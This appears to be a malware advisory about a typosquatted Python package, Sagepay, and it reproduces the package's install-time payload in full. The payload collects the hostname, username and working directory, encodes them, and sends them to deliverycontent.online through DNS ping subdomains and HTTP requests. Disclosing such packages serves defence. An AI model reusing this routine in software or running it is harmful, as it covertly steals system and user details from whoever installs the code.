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Test your applicationsAvoid using all malicious instances of the Sagepay
package.
Sagepay is a malicious package. Apparent typo-squatting attempt. Upon installation, the package collects the system’s username, computer’s name, IP address, and attempts to upload this information both via HTTP and DNS to the following domains:
.sub.deliverycontent[.]online
www.deliverycontent[.]online
import os
import base64
import random
dns_domain = ".sub.deliverycontent.online"
http_domain = "www.deliverycontent.online"
hostname = ""
try:
hostname = os.uname().nodename
except Exception:
pass
if hostname == "":
try:
hostname = os.environ['COMPUTERNAME']
except Exception:
pass
username = ""
try:
import getpass
username = getpass.getuser()
except Exception:
pass
execution_path = ""
try:
execution_path = os.getcwd()
except Exception:
pass
data = "%s;%s;%s;%s" % (hostname, username, package, execution_path)
b64data = base64.b64encode(data.encode()).decode()
data_part_length = 29
parts_count = len(b64data) // data_part_length
if len(b64data) % data_part_length > 0:
parts_count += 1
parts_count = min(parts_count, 255)
random_number = random.randint(0, 254)
encoded_data = ""
for c in b64data[:data_part_length]:
encoded_data += "%02x" % ord(c)
data_to_send = "f%s%s%s" % ("%02x" % random_number, "%02x" % parts_count, encoded_data)
domain = data_to_send + dns_domain
try:
os.system("ping %s" % domain)
except Exception:
pass
for i in range(1, parts_count):
encoded_data = ""
for c in b64data[data_part_length*i: data_part_length*(i+1)]:
encoded_data += "%02x" % ord(c)
data_to_send = "%s%s%s" % ("%02x" % random_number, "%02x" % i, encoded_data)
domain = data_to_send + dns_domain
try:
os.system("ping %s" % domain)
except Exception:
pass
encoded_data = ""
for c in b64data:
encoded_data += "%02x" % ord(c)
data_post = "%s%s%s" % ("gjeiiq1", "%02x" % random_number, encoded_data)
data_get = "%s%s" % ("%02x" % random_number, encoded_data)
try:
import urllib.request
r = urllib.request.urlopen("http://%s/p" % http_domain, data=data_post.encode(), timeout=10)
except Exception:
pass
try:
import urllib.request
r = urllib.request.urlopen("http://%s/g?d=%s" % (http_domain, data_get), timeout=10)
except Exception:
pass
try:
import requests
r = requests.post("http://%s/p" % http_domain, data=data_post, timeout=10)
except Exception:
pass
try:
import requests
r = requests.get("http://%s/g?d=%s" % (http_domain, data_get), timeout=10)
except Exception:
pass
try:
import urllib
r = urllib.urlopen("http://%s/p" % http_domain, data=data_post)
except Exception:
pass
try:
import urllib
r = urllib.urlopen("http://%s/g?d=%s" % (http_domain, data_get))
except Exception:
pass